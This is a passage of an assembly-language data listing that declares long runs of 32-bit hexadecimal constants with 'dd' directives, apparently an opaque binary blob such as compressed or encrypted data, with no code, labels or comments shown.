		dd 0DA03E4FDh, 9A1EA8DBh, 0E8834DB2h, 300A2EFDh, 0E868DC72h
		dd 0BD86DF63h, 0F764488h, 883F8380h, 4053E3E0h,	80A13CB8h
		dd 94210C7Ah, 0C8B4641Ch, 0DA1FB194h, 0E7C0B38Eh, 437B53C6h
		dd 0C0275535h, 0CEC8DC01h, 0A860BEC5h, 4684BD0h, 21E48FC4h
		dd 0C0492ED1h, 3FA07038h, 31020644h, 9422E45Fh,	401741C7h
		dd 3ADA6FF4h, 4C931EBEh, 63E482BAh, 9A803C5Ch, 0B674FC41h
		dd 479E003Dh, 783425B5h, 0A3008F56h, 9412AFFDh,	8BF215h
		dd 6F20C65Bh, 18B8A268h, 3D956700h, 1ABB232Dh, 0B0771E32h
		dd 46C5C05Bh, 0E2F9E5AAh, 668741BDh, 0B8BA0CE4h, 0D28F0D8Fh
		dd 0E0605540h, 8DFDF5Fh, 6B69DB00h, 24D30825h, 0D4BFDAh
		dd 8F4E7522h, 983037C5h, 2F8941BDh, 6B8300A5h, 0D1BC4818h
		dd 78005CD3h, 0E05771E8h, 0CEDDA1h, 1E94EDEBh, 0AEC4FC6Eh
		dd 0FAE6EF00h, 5186E97Ch, 1C0D1846h, 18D850C8h,	0E10ECC02h
		dd 88B954EDh, 0D8080BFh, 0D2E78036h, 559F0EA5h,	0CF636C0Eh
		dd 4890AD8Eh, 0B3074504h, 99365BCCh, 0CBA14Ch, 3001DAA1h
		dd 8A4EEB1Ch, 29B40700h, 1033A77Fh, 0A24639EEh,	0DBA0F800h
		dd 70FAE712h, 10104CA9h, 0A94CF1C3h, 36892F94h,	0D80D6E6h
		dd 49CD6612h, 570730E6h, 0DD1FB94Dh, 4AA893h, 0DEF6A31h
		dd 6FE39A28h, 0CB795700h, 0EEFB2CFEh, 0F207020Eh, 50C99902h
		dd 4A85E800h, 0F97A6369h, 0BF901929h, 2200FC84h, 7D09891Ch
		dd 6499E1D9h, 3744B0C6h, 606849BCh, 2194414Ch, 790052A6h
		dd 4E07A510h, 565C37Bh,	2D0EC220h, 0DCB407EEh, 97D5F47Ah
		dd 5257D100h, 0BA40AC51h, 1C19B118h, 0E0ACAB65h, 0C13A5C0h
		dd 0B07DF9D3h, 39224520h, 6DC00A1h, 2AAF9EA4h, 4C31C344h
		dd 45A85155h, 0BC0F3180h, 0D59FA679h, 0C5A15800h, 9B9D788Bh
		dd 0F95606D2h, 0D8BFCA4Fh, 59CB5530h, 1C2880C3h, 0E6658830h
		dd 48221Eh, 1FD920ADh, 9FE40E1Ch, 0D2BA7206h, 717165C4h
		dd 0DC450630h, 39A25646h, 0DC829D2Ah, 0CB54A102h, 90C27ACDh
		dd 62EF84h, 0CCF1380h, 299AD172h, 0A63B3824h, 0FD539D3Fh
		dd 84FE4D03h, 0EDF008A0h, 94912B58h, 31FF7A1Eh,	8FCA9851h
		dd 0A3701279h, 0F82AD713h, 19DCFDF5h, 4059359Ch, 76B891B0h
		dd 1205F28h, 0E9A0C07Fh, 0C8D2B4F5h, 0BE070793h, 55F986DAh
		dd 0F070B916h, 57A788E3h, 0AD54EFFAh, 40A03AA4h, 10924468h
		dd 1CCD6E48h, 691EFBEEh, 0A920CA18h, 0C3281D11h, 67C9F023h
		dd 9300A2D0h, 0C0F3DFB0h, 5019A414h, 88987859h,	0B9C041A8h
		dd 0AF7F0CF0h, 1511012Dh, 4F565FE7h, 584BE2D1h,	0EC4CC288h
		dd 0B2B92283h, 8ED8B302h, 90B04A9Ch, 4015FB88h,	0C31A30B1h
		dd 4039C54Dh, 0C0DC31ADh, 0DBC4C0D9h, 38C0D72Ah, 59DE6310h
		dd 87FD16E5h, 616B007Eh
		dd 6F110B30h, 4AF12801h, 0D10E413Fh, 8ED24184h,	0BA88C842h
		dd 0A0B2188h, 85B69187h, 0DFF510F4h, 5C1F4CA2h,	4A259D08h
		dd 0E7190F18h, 948A00DEh, 381901D4h, 8C549C69h,	7214F5B4h
		dd 80F058BCh, 8899B74Bh, 0F1EE0074h, 0A77BA894h, 0AC240E11h
		dd 6456898h, 8C45844Fh,	2AC3B9B9h, 7BC47AEh, 6BA62DCBh
		dd 0DF79C039h, 260E86A4h, 814EA191h, 0C11131B2h, 87F29441h
		dd 0A0106207h, 57C7A8A0h, 6972F47Ah, 0C0991973h, 9B260900h
		dd 0FC0DEEA1h, 30200054h, 31679493h, 9E012C29h,	0A2D2F18Fh
		dd 0F030ED48h, 11448674h, 34D150D2h, 4D5513ABh,	9824FDh
		dd 0F28BB660h, 0AC3F69C8h, 88E080F1h, 0C3BB944Bh, 589A1540h
		dd 0CA0098DCh, 0E5F0F5F3h, 0EA03AA62h, 0C8719D5Ah, 6B1BD8FBh
		dd 13C1FE3Ch, 34651EFAh, 0FC5C80B0h, 4F0CC373h,	915AFBD3h
		dd 0C126248Dh, 0F0E9146Ch, 7A8693C8h, 2479B4DBh, 404056C2h
		dd 0A13B4013h, 11F6A788h, 1CC62DBh, 30B394EEh, 0A4507569h
		dd 0E77DC4Fh, 0E553D6C0h, 0A980ACAh, 61C0D2FCh,	32AEC5A2h
		dd 204B01ACh, 5478DEC4h, 421CF830h, 0C81F15EAh,	87EE103Ch
		dd 5A4EC39Fh, 38AA6773h, 0C4989044h, 0C0D3DD04h, 0F88A0166h
		dd 29D09918h, 0C900C49Dh, 839AE76h, 706B02A3h, 904D5C06h
		dd 0C94E026h, 985905A5h, 0D2398460h, 1CCA9C59h,	0E6204E99h
		dd 50B40DCh, 0A30262F2h, 0B10EC1F6h, 77944978h,	6D138C50h
		dd 0BA88073Ah, 0B763EDF1h, 0ECA04F95h, 0B7CC6B5Ah, 0C09C8948h
		dd 0C348BE8Ah, 441C98A2h, 0FA0CEFFDh, 207F9373h, 571A0F31h
		dd 9C404512h, 0BF993067h, 0E2CA91C7h, 0E8477D73h, 147BBBh
		dd 9B8EA6Ch, 871899Fh, 0F659240Ch, 5C107077h, 0DC05B4D3h
		dd 73AF462h, 8875B584h,	68020391h, 0B02EF955h, 8831D0A4h
		dd 0A819DB0Ch, 37C0A324h, 20005073h, 397D44EAh,	9D003B30h
		dd 17381B36h, 301EC47Fh, 6929D699h, 34009077h, 8148539Ch
		dd 986142Ch, 43AEF4A5h,	19C01C20h, 1100CF3Ah, 9351842h
		dd 79406B5Bh, 5CD44C32h, 88C98610h, 2E678081h, 976E7231h
		dd 6BF1BE1Dh, 45DD9201h, 0D8301168h, 872908CDh,	0E4265051h
		dd 0EC61840h, 98447FEBh, 798D3AD0h, 0D584540h, 66C381B0h
		dd 0A44C3A58h, 0B15B60F9h, 4A9132DEh, 54C32B0Ch, 371590Ch
		dd 65354697h, 60820E12h, 66FB7C68h, 0F61D3h, 0F631D857h
		dd 11389A4Dh, 118729F0h, 4711C6E4h, 0C15F124Bh,	0A031144Ch
		dd 532A03B4h, 0E70692F9h, 69A045D0h, 0B164BF90h, 208037E0h
		dd 689103h, 120E25E0h, 385B144Fh, 895CC873h, 8E059E8Ch
		dd 188858BEh, 2A4FC2Ch,	0D34D2F31h, 0DC618D57h,	5AB118Fh
		dd 0A423F8F1h, 0C239FB30h, 5158574Ah, 40BCA288h, 2A3B642Ch
		dd 64C9F4h, 0A1051048h,	0C6EB81B4h, 0D915A900h,	0E8654FDCh
		dd 0BCBA00C4h, 83796FF9h, 0AE06ECAh, 0F109FA74h, 8E47CEh
		dd 59B453A5h, 0B36406C5h, 189B09D9h, 1200FD76h,	0B2B77CA5h
		dd 7C947624h, 4CC50B8Fh, 805DD53Ch, 1655893h, 0CAB8031Ah
		dd 0CDA158Ah, 0C6795AD0h, 2F3A3300h, 0A4BE95C5h, 586463FFh
		dd 49008D12h, 0B4D69A59h, 78C044h, 98069E76h, 3513E5F7h
		dd 0F18E90C3h, 0A93901F6h, 0E30794A4h, 6C67209Fh, 2B8F5E0Fh
		dd 0E551F878h, 39576010h, 7A302A70h, 88802E60h,	6D27869h
		dd 0E5B0DAB3h, 3522318Ch, 0FAF13722h, 0ABE6C069h, 1B006C38h
		dd 34793EBFh, 5CB44Ch, 0EB29E2BAh, 93F2C62Bh, 8098E63Dh
		dd 52965BE3h, 51ABFCh, 7DBBC867h, 1BA9466Fh, 17C7D700h
		dd 5A229115h, 0FC560018h, 514011A1h, 1006AF5h, 0D16BA20Ah
		dd 288B2CBEh, 4480C724h, 0F2EC5823h, 33989663h,	87CBAh
		dd 0CE98BED0h, 0C337EFD9h, 0E9387474h, 3956B01Bh, 0C80F8D1h
		dd 0A0721936h, 49008AFEh, 0D5F7E75Ch, 9006C215h, 85D10704h
		dd 0C33C9190h, 86D83843h, 52098084h, 11AB6AF4h,	0D009D20Ch
		dd 2C6110E4h, 998A2B69h, 0D489C50h, 0E412069Bh,	300A5913h
		dd 1D6C2B15h, 0C6C41EB8h, 0A9452A00h, 88966D24h, 0BCE17FFBh
		dd 4B2E7431h, 0C8224F40h, 38015AF8h, 0BC5E6242h, 29B620D5h
		dd 0AE005968h, 0EA0EE8BDh, 5F5D32h, 3AB36CE5h, 89D35CBFh
		dd 0C13C4B77h, 438E1F64h, 11BC3D0Ch, 9D130056h,	7759CCF6h
		dd 8E0155DEh, 0D965FBC0h, 0A74080F0h, 0E268BBC9h, 40A306BDh
		dd 68BC0146h, 0D84E5A03h, 0C2E39D10h, 44244426h, 0E5609AFEh
		dd 3A7D057Ch, 0C8778ACh, 5FAD4CFAh, 8B00CFF0h, 53835874h
		dd 0C59375h, 0A61D073h,	494068A0h, 56E20C00h, 0D7BC8D21h
		dd 5895614Eh, 50B61BF4h, 2F666ECCh, 470FEF00h, 7F6D9692h
		dd 32E41408h, 272A4898h, 97900098h, 0FDD27F29h,	850019C3h
		dd 0B97E144Dh, 6E165EBh, 0F16F2DF2h, 0AA00C1F3h, 0F61E9E09h
		dd 1CBCF5h, 4C96FA15h, 2E8E940Dh, 0DA29EC60h, 73B5BA2h
		dd 726FC698h, 733AF084h, 7100DE78h, 0A750CD8Fh,	52C4F725h
		dd 56009496h, 55AC5387h, 0B279E343h, 36479E00h,	0A5499067h
		dd 199300F5h, 0F98F7AFEh, 6924D6F4h, 41354C1Fh,	6D4F4401h
		dd 40237F2Bh, 9F1F6057h, 8A03208Dh, 89736DAAh, 0BC881334h
		dd 0E02C278Fh, 0D2903C4Bh, 5B016DF0h, 2B6FC4E1h, 0F88AA7BCh
		dd 309DFA13h, 0BDB3EB79h, 27E3412Ch, 2836EE00h,	18454D3Ch
		dd 0F8A49C04h, 791269D8h, 580A24F8h, 6583DC3Bh,	3F2797F6h
		dd 9B007E49h, 140D0799h, 0D2004158h, 4E5CDE8Fh,	0F722343Dh
		dd 0E0A46EC9h, 155A4058h, 2D7C753Bh, 0A00D783Dh, 4AD1078Fh
		dd 0B0FBDA4Eh, 0EF1996BBh, 0F7828B01h, 0F82F636Fh, 0FB70F830h
		dd 0C5E38980h, 0A3D88B58h, 0C311D900h, 7A6D8D6Eh, 0C0614C33h
		dd 20F3B11h, 0BDB0D570h, 0FC844D2h, 24C2922Ah, 339925ACh
		dd 4F074891h, 8F20E583h, 67D995h, 0B0EA0521h, 557346B2h
		dd 68272E24h, 6124960Ch, 2C5860C7h, 903025D8h, 8FA97F07h
		dd 9ED01E3Ah, 6F1253A8h, 0F50069EBh, 0AFC609B6h, 5295EE00h
		dd 0A86BB049h, 91FA03D6h, 0F4F2C293h, 8CCBA900h, 0D3995C21h
		dd 0E01307ECh, 5774E2A6h, 7588011Dh, 0C47C3495h, 910E9730h
		dd 8366DAh, 0F5D5DF05h,	2CFCD8F6h, 29EC3913h, 0D1063A0Ch
		dd 3C714824h, 78704383h, 0D39FC18Dh, 0FE81BBF0h, 2A08F307h
		dd 0F4B04D15h, 99583767h, 51C240A8h, 0F06042CAh, 60F45958h
		dd 9529C633h, 0F800990Dh, 7D92B5A0h, 0C15C22h, 0E7DF876Bh
		dd 458FD40Ah, 0E60D1807h, 5B110FB0h, 21C4F1CFh,	7F79C4h
		dd 56440E4Ch, 65748670h, 87255038h, 768712B1h, 83241039h
		dd 286301D1h, 0A301028Ah, 0F62DF895h, 353C5376h, 0B6B4009Dh
		dd 32983738h, 0CAF72AFDh, 2E0D1C08h, 6C4006Fh, 7B89AFD1h
		dd 0CF4F9400h, 18D96E83h, 7CE4ABE7h, 6C9151h, 0F4741E73h
		dd 5964BF69h, 944053F9h, 1DFABC4Bh, 50EE3648h, 0B0C0D121h
		dd 0A8299FC2h, 0C8B85017h, 51F4657Fh, 0C868C833h, 73D50F0Fh
		dd 87E18B85h, 80CE1D5Ch, 51F453AAh, 6109AB9h, 0E5FC8F6Eh
		dd 8E2E390Ch, 0F7605479h, 13052EC9h, 59E1B8h, 0CFF63910h
		dd 47005DF3h, 2487F940h, 6213E685h, 25F14134h, 7DCBF0A0h
		dd 0BF00D960h, 0EDD5664Eh, 700A2BC4h, 0A6670070h, 44F35ABAh
		dd 0C1C1B613h, 85D61297h, 17F66434h, 315A0FE5h,	72837708h
		dd 0B41D39C4h, 0E437D096h, 1E80EB0h, 899104F0h,	0C819A1C4h
		dd 2A4CC9BCh, 5D5200D0h, 0AF4E769Fh, 0B8B1043Bh, 0C7194BFBh
		dd 8ABF361h, 3C2CD12Ah
		dd 4361D465h, 20F0D082h, 4F98548Ah, 683D83Ch, 159C89CEh
		dd 0F1661811h, 1B429F8h, 0BA102F00h, 0ADDBAC32h, 0F2A30BB0h
		dd 6C229A5Eh, 9524BD5Ch, 3D18C888h, 7D9744h, 0EC9D049Ah
		dd 0A4EA6D7Dh, 87502498h, 1134E5ECh, 38403165h,	2355A5DDh
		dd 33FC00DAh, 0E778933Ch, 40043B7Ah, 188B2B68h,	0E9801888h
		dd 69307700h, 26AAD800h, 377A4DCFh, 82E90735h, 0DFE1D1D0h
		dd 22557821h, 1480A639h, 0BE548401h, 90601C14h,	0FC5E513Bh
		dd 6767F5E8h, 6ED1B5h, 9E8715BCh, 707F7301h, 0AE557D8Fh
		dd 60338C60h, 0A61A81B9h, 46005311h, 0FD286920h, 0B0656F4Ah
		dd 966C1104h, 164F058Eh, 0E0D72669h, 0BA1124AAh, 0AB668F00h
		dd 2CD51FFFh, 0B9F84600h, 14BCF987h, 0C5E4001Dh, 0CAF429FCh
		dd 161F969Fh, 7207DA04h, 5BB0D5A7h, 8A531Ah, 7EC26A7Dh
		dd 0BB460EC9h, 0A851CC1Ch, 316C3383h, 0F6CE881Ah, 90480027h
		dd 87A96D54h, 0AA0E5B5Fh, 8059CFA1h, 561ED68Ah,	9773000Dh
		dd 47A51D19h, 32069DF1h, 0A0F5E4BFh, 0B6DA1811h, 8BF62950h
		dd 91758AE8h, 7E29EA03h, 0B4772B31h, 453BDCA4h,	966DF053h
		dd 4B763388h, 8838023Dh, 0C6049B09h, 0A25E14C0h, 0E0708084h
		dd 0D904C18Ah, 0FF4310CEh, 5820147Eh, 0CC866Eh,	215540E0h
		dd 660CC037h, 83F4993Eh, 0CF726CE4h, 0ACDAD85Bh, 361C0324h
		dd 6541F97Dh, 2F384DE8h, 0FF1350E2h, 282011DFh,	2B92568h
		dd 6F8ECCE3h, 90E85576h, 52441897h, 23B100B9h, 0F4805670h
		dd 7516D16Fh, 5840BBDDh, 95601A39h, 58797F68h, 0B384C098h
		dd 65A4A4D1h, 2438F926h, 1178E110h, 24187Eh, 0C4B445DDh
		dd 0B037DA33h, 0C226072Dh, 0B0AD0493h, 1A15D142h, 3155D231h
		dd 0E0321DD9h, 35DB0D0Bh, 344B8800h, 0C0A81BF4h, 79058564h
		dd 0F3365A2Ah, 1792ACC3h, 20440D19h, 0B3DA6CB8h, 0D271DD1Dh
		dd 9D7F4107h, 84F31FA2h, 14810187h, 0FAE417F9h,	0FBE60A8Ch
		dd 870AA69h, 129226A4h,	0C0A00822h, 17F31Dh, 0DC889C3Bh
		dd 6E4A1AE8h, 96713C0Fh, 2DD680DEh, 5283BCh, 61543FDh
		dd 0D18E9856h, 480F024h, 1218F211h, 1CBD59E6h, 4516E101h
		dd 0E4AAD147h, 128899CEh, 0C42830Ch, 6CB17Ch, 0CCBE1492h
		dd 0DA0037C1h, 0D965A08Ah, 0B8A493B3h, 1FC8440h, 78726D48h
		dd 0E3D1BFA1h, 67978905h, 97C27688h, 5308E077h,	940C5893h
		dd 944D7C48h, 900F2B22h, 40685FEEh, 0A056B9Ch, 69EEE4Fh
		dd 13E3A133h, 7053299Fh, 8A3B1E9Ch, 602585C0h, 965E7Eh
		dd 0CE9E761Ah, 1E9ADE32h, 2A7B7C01h, 6961399Ch,	0B040A021h
		dd 0EF066EABh, 73139428h, 39C09188h, 80806259h,	5BE6017Dh
		dd 4E4B0071h, 6F655CEFh, 7FF6A83Bh, 0E7148A00h,	0ED29D9F6h
		dd 40626077h, 1B515435h, 5C0014B8h, 634CFA22h, 21E119h
		dd 3D17DD62h, 3CC85E3Ah, 0AE363B00h, 9271295Ah,	19610CDFh
		dd 0F2193896h, 4600ECA4h, 28B7F717h, 15522790h,	0A4823192h
		dd 74D90074h, 0EF39AF5Ch, 2B0034CDh, 87E6A43Eh,	50B9D589h
		dd 33ABB59h, 0B2B75DDEh, 0BCD07879h, 61C0F5D7h,	14FB2783h
		dd 10F90491h, 84A895FEh, 0D74CE038h, 58F4C444h,	0B3860C53h
		dd 809819ACh, 78813D50h, 30FD652Ch, 76848680h, 902455C5h
		dd 0FF1518FCh, 131438B5h, 1948FA02h, 52400EF4h,	0FDD1302Ch
		dd 0C0576551h, 0E86E7201h, 0E25490Fh, 0C2A2260h, 0B4E1166h
		dd 98B1F2C8h, 8258F900h, 283F7CAh, 9334C13Eh, 4090576Bh
		dd 0B200FB0Eh, 8A7132ABh, 119E5A1h, 16EAE78h, 89E96572h
		dd 44A4BCB9h, 2A333070h, 0C6796EF1h, 0F536F702h, 0A193A58Ah
		dd 0F62E17C0h, 0BB242C33h, 0A6530474h, 80254859h, 0C7DF1BB2h
		dd 0D9033C9Ch, 9E28ED07h, 68E40023h, 0B48CB826h, 67B067BBh
		dd 7FE03604h, 0FCF3B0BAh, 0DC58C43Dh, 16D5900h,	54C6282Ah
		dd 8E021CB0h, 6F2CAD56h, 0F05864F0h, 5F680644h,	91BC6EDBh
		dd 553A6700h, 42277BB1h, 0B0350284h, 7A2A1AFAh,	768FDC40h
		dd 914A7000h, 0CA8758D1h, 48FB776Eh, 0E406329Ah, 10EB6DD2h
		dd 2E0D5203h, 0C87C8Bh,	0E69BC571h, 0B866FBDDh,	0C49502F1h
		dd 0B0B6050Ch, 0B07F239h, 44B2FDB8h, 0C4144880h, 0D5138EFBh
		dd 0FC43E249h, 0D9ECC5E3h, 518F8F53h, 711BF16Dh, 0BEEBAE0h
		dd 0CE00BB90h, 83C7BE78h, 2431E46Dh, 6C64D6F6h,	0D29F431h
		dd 3C11CCA7h, 80879F00h, 0B2626905h, 0B0A3181Ch, 297291C0h
		dd 2644BCh, 9916E89Dh, 208FB309h, 61E138C0h, 4A106B72h
		dd 702840ECh, 48D39143h, 6A712Dh, 0C4A8E264h, 5084054Ch
		dd 0D2B3F1A7h, 39218178h, 3F6006FEh, 8200062h, 0FB035FFAh
		dd 0E0BD486Dh, 423377Ch, 7DA28361h, 0C910F1E6h,	0A986138Eh
		dd 8385D75h, 89C4C2Ch, 1981B6ADh, 0E7E29694h, 8AD430h
		dd 29D0E0A7h, 6235A192h, 55D30F18h, 162A1C28h, 4604BF7h
		dd 21AC51CCh, 121121D7h, 0DB4420B7h, 7B38E700h,	9EA2ABFFh
		dd 3DFB7D37h, 84001E4Eh, 0F59F69Fh, 89003156h, 34BACAE1h
		dd 2C2545DEh, 399511DDh, 0FC38A83Ah, 0D2BFAF80h, 58C1526Bh
		dd 0A5121B77h, 920088DAh, 1C7418Bh, 774038FFh, 9250D031h
		dd 1DEC0CB3h, 8012585Fh, 3EDCFF8Eh, 2E619652h, 0ABC7A020h
		dd 79165080h, 253BD5B7h, 2DB5C40Fh, 688FE18Bh, 7080B3B2h
		dd 71F824ABh, 6E00E78Dh, 1545113h, 127A353h, 894FFC08h
		dd 81A855A0h, 0F9CCDB50h, 0B3CC1FE8h, 0AE4C0027h, 0A9146AC7h
		dd 0B24CE082h, 88F803FBh, 71E54126h, 688760B0h,	9B7CF3A5h
		dd 0DD634F00h, 434E4180h, 0B7050016h, 76258BC2h, 68E831E2h
		dd 46EDA606h, 0F795AA0h, 5B510543h, 45785701h, 4A8609Eh
		dd 3B6D6E00h, 0B1C66394h, 58B1884h, 0D28D9B5h, 0E4A38F26h
		dd 99BAB200h, 591E737h,	0C6D6C07h, 2554C082h, 1A0058A8h
		dd 9D14851Fh, 0D6268Ah,	0F6F7EA90h, 0F8912468h,	0DED8F550h
		dd 23D8730Ch, 2AC9D183h, 0DCBD45h, 4AF2468Bh, 0F37EF77Ch
		dd 0DEFF1000h, 0ACC99805h, 0A9E2019Fh, 0A3AB89DAh, 0D62F86Fh
		dd 0DBA0FA18h, 0E2591841h, 74151E24h, 0A7930005h, 0F386F2CFh
		dd 0EB4F0C01h, 0AA47C9A2h, 0CDA33180h, 446A7399h, 0A002FA00h
		dd 0A919584Dh, 39B9002Ah, 0F8BD0EAh, 1E000C10h,	42256CE8h
		dd 519745E1h, 0CAD58CB6h, 60009371h, 7CCF9A5Fh,	0DB860A2Eh
		dd 39CC02A2h, 0E34C3905h, 6DB040CBh, 21559CCEh,	8F19791Ch
		dd 6A870140h, 65FA458h,	8C28ACE0h, 4E0550F6h, 0CCDE9D1Fh
		dd 1CAA9840h, 6CEB24h, 8FB2DA09h, 5553B4E2h, 46A37300h
		dd 69A008F6h, 9FED0006h, 3A0F250Eh, 6F1E15D6h, 39006B6Ch
		dd 855FB641h, 4FF000B1h, 0CBC32A0Bh, 0FF001CE2h, 0DCFDEDD1h
		dd 40F86h, 8A28CC6h, 25E907CDh,	69DF2603h, 0C8DE94h, 40603891h
		dd 67255A4h, 8F522101h,	22141590h, 713EAAE0h, 7E90A8A7h
		dd 6A7900C2h, 3C8D64C7h, 9300C38Ch, 17454E47h, 24B0DE54h
		dd 87BC8F04h, 47AC3F8Bh, 0DB344359h, 94457000h,	5843B740h
		dd 0C7160FCAh, 22C6E37Ch, 0A77D915Ah, 70057892h, 3F315237h
		dd 25B644C0h, 74FF00FAh, 262429D2h, 99C0F495h, 0DDBD3EABh
		dd 0F1015CD7h, 0CFB65350h, 0BA608E51h, 0D162A6A1h, 60DB9F00h
		dd 4745193Eh, 0E2590156h, 92F42E10h, 0F798024h,	0FB520639h
		dd 44A63C8Bh, 11051118h, 0C061A7CDh, 2C3F5BE1h,	269080D3h
		dd 8684AC98h, 0E7700B0h, 0E0BAD23Dh, 47005CE3h,	0D0A81F05h
		dd 9612621h
		dd 724DA7B0h, 63B58C00h, 0E2EC59Bh, 0DE1274A1h,	27593803h
		dd 45E93EBFh, 60D8690Fh, 6E3C6FC7h, 0CC03F9A9h,	3C159DFh
		dd 0CAF60786h, 4D150F81h, 7520FE70h, 0F8B9F404h, 7672B609h
		dd 0BB4C0439h, 274B2E40h, 9600A8AFh, 7832C05h, 1A1F6F1h
		dd 4CE5FF86h, 435B9AD5h, 31A845DCh, 2210D87Eh, 0DB0689FDh
		dd 0A9A1E398h, 0BFDD9C80h, 84580113h, 0F30EEC21h, 70B4E03Eh
		dd 0EAC8F000h, 0A4F86DEh, 0A75F00BCh, 285EE16h,	0AB0ED52Ah
		dd 9DF1C58h, 0CFC0009Ah, 77603CC4h, 0B9321987h,	0E33E78FAh
		dd 0F9CD80E0h, 0D72A6900h, 66CEEBEh, 78AF0F5h, 0E096F840h
		dd 0A94180DEh, 6E056B3Eh, 0F9A0D294h, 9A8CE440h, 0C44DC8h
		dd 24473CDFh, 9508A989h, 5B05E000h, 0DC3D12B1h,	1353736Dh
		dd 21255AF0h, 50D3DEB0h, 0EE0D1AA0h, 1762AA00h,	0E7DB85Fh
		dd 27C60C97h, 47688182h, 0A1FB88A0h, 3BC7D344h,	698074E0h
		dd 0FF4B2FF1h, 1F1F9144h, 0F06A3BC5h, 9DFDF021h, 0A90020B6h
		dd 18D221F1h, 899CF9h, 8E6399C8h, 3B1D167h, 7D3A237Eh
		dd 0E7938747h, 0B80045A9h, 106AD88h, 0BE2DF343h, 0E1B0ABC2h
		dd 608457E2h, 81678959h, 0FABFD500h, 941AF569h,	0B046FCAEh
		dd 430D00B8h, 0B0EF89D4h, 98925E4Dh, 26D86812h,	73EF05Eh
		dd 1A259DB1h, 0E2186BFh, 5BA73019h, 0E9DE5C31h,	2A241706h
		dd 6218BD8h, 64DC2C07h,	0DF021184h, 0A06E97E9h,	59F86877h
		dd 0BC8F5228h, 400B522h, 0DC65909Fh, 3FFF144h, 5BEF5213h
		dd 80F538CFh, 0B08ABFD0h, 22404C50h, 3ED32B39h,	0AC3C3AC6h
		dd 0F8086898h, 0E1089C89h, 1999B001h, 4DFC2530h, 2B451E29h
		dd 9BF500B4h, 21DC7364h, 4CDF9700h, 94B68987h, 47C92D0h
		dd 231D4709h, 452CC899h, 82A1FD3Eh, 0A049DC54h,	81A0905Ch
		dd 0E1FB1C1Eh, 0E262C72Ch, 7E98B097h, 8D00348Bh, 577FF522h
		dd 0A883B26Fh, 0A880DEB4h, 695080h, 965B3C3h, 89AD64B7h
		dd 0F301CE00h, 0FAA1FF46h, 8D2B0123h, 0B09DEA80h, 1CD0325Fh
		dd 5B4544B7h, 0A8D0EB15h, 0C349B5A3h, 8A6FDA59h, 70895AD9h
		dd 80ED0B28h, 693FB019h, 98D43063h, 864CA34Ch, 0A358FC99h
		dd 0BE25E16Ch, 1810D855h, 56D3052Ch, 0D4D4418Dh, 85D170C4h
		dd 0A8E36054h, 5223A115h, 47009C6Fh, 820301AFh,	87062F53h
		dd 0BF25D86Eh, 2C20B351h, 56E7004Eh, 37779101h,	0ADD55E03h
		dd 0F01CDF27h, 2FC150Fh, 457F7A5Bh, 0BCE4DB4Eh,	0A9DFB271h
		dd 66B9E583h, 5B0FE056h, 28BB0022h, 5901F8D6h, 70006167h
		dd 90F237FFh, 0EE6AC2h,	74FD0FBFh, 0A56733E5h, 726E8A0Eh
		dd 211F2FACh, 0AFA0EC83h, 718DA180h, 0CE276A1Dh, 6CBF6300h
		dd 0C56BE9Ah, 0EB8C01BCh, 921651ECh, 2EA432E9h,	0D000F9A2h
		dd 0F9B8E017h, 0C0843A28h, 56A0470Ah, 155F8090h, 0E5E02B7Bh
		dd 54F06C00h, 67092FC0h, 53EFE2Eh, 0CA94F108h, 0D84402DDh
		dd 0CC44CD39h, 6D0094BAh, 0E45CF276h, 0CBE29h, 0F64446E6h
		dd 0FD7C2523h, 0C1D86849h, 0DB2EDC5Ch, 0D4808917h, 0C2D9CA4Bh
		dd 0C7AC69D0h, 809F61C9h, 397FF286h, 9D0B006Eh,	0FCEF5460h
		dd 8E7FCB10h, 74DEFA0Ch, 30FF508Dh, 4649D0A0h, 0C906D578h
		dd 5FA3377Bh, 0F25D07F9h, 4416384Bh, 0D7AC8098h, 0FC01F72Eh
		dd 205B6AC8h, 8180BAB2h, 27E7608Dh, 32005E3Bh, 0D1DEB409h
		dd 58F84B7Fh, 1DDDC40h,	0D3E95AFBh, 0AB46EC21h,	0A0F848h
		dd 8ADDBC77h, 0D46A9B5Dh, 0DE15E4F1h, 1C1E8082h, 0B9D240FCh
		dd 0DB5D83EFh, 2128084Dh, 20B216DAh, 0E22AB8E4h, 0F1981E09h
		dd 0CFA08489h, 0D1400852h, 0B03029BEh, 0E189DE00h, 0EC34A84Ah
		dd 12DA7BA9h, 8B6BFE6h,	709EB160h, 6E1B93C0h, 0AF1341h
		dd 1AFA3DFDh, 68EC285Eh, 0EA4D0100h, 6EE712ABh,	43604B2Ah
		dd 26DDD24Ch, 60588493h, 0C422E4h, 0F8742468h, 202E9A92h
		dd 0BCB941Ch, 78951900h, 6F27D8h, 62E7B104h, 0AEDCCA47h
		dd 10B678A1h, 6599D3h, 1E436CA4h, 5ED5D087h, 0FE2A201Ch
		dd 63F2F044h, 0A8FF888h, 0C4AF39B2h, 0C8A74450h, 0EB1F672Ch
		dd 0E440EEB0h, 3BD694B7h, 47DF2A41h, 0D481E260h, 4600E239h
		dd 0B27687C1h, 0F4984508h, 18EC0BF2h, 0A0F7F10Ch, 40B1D8h
		dd 0A12B82CBh, 0F55F8C66h, 629CAA1Dh, 5AF82EC3h, 0AB292E5Eh
		dd 0C4C50820h, 19A6A70Ch, 2E70069h, 27F8CB49h, 470781A9h
		dd 0D28B4E77h, 0A9B2D332h, 1E0C40D8h, 0DB3722D8h, 8169FF06h
		dd 131107B0h, 91B36EDAh, 0F4662150h, 3800E4E8h,	0FA353123h
		dd 0BCD020h, 1A4CF33Ah,	97C68058h, 0BC53BF3Ah, 0BE607E46h
		dd 0E6B05299h, 0E59DE4Eh, 5EE37BAAh, 0D380A982h, 0BE692C5Fh
		dd 0B1788198h, 15CF38DBh, 0BC34A289h, 0B8604100h, 29F99CA9h
		dd 89822300h, 4D06CDA1h, 0A63D006Fh, 91F2EC65h,	133D268Ah
		dd 0EE0839Ah, 27223F59h, 0A410A9E9h, 190067E4h,	963F8762h
		dd 1F9A7C7Eh, 0C1C6337Ah, 0ED73E2DDh, 23106029h, 0FA0EA002h
		dd 0C4FC22D8h, 0AAD322D4h, 5FF6A201h, 5C9DDFF4h, 176CB07Ah
		dd 1803E44Ah, 99EA10Fh,	4CF4D119h, 0D7AAB010h, 0FCFC4E2Eh
		dd 585F204Fh, 0B188AE9h, 4686A25Bh, 13B61402h, 5968B00h
		dd 4FE10259h, 0A284A0F8h, 32DE14E9h, 11E400A8h,	861C7B33h
		dd 8FEF004Dh, 27753D18h, 1F0762B1h, 635296F8h, 8A0EA07h
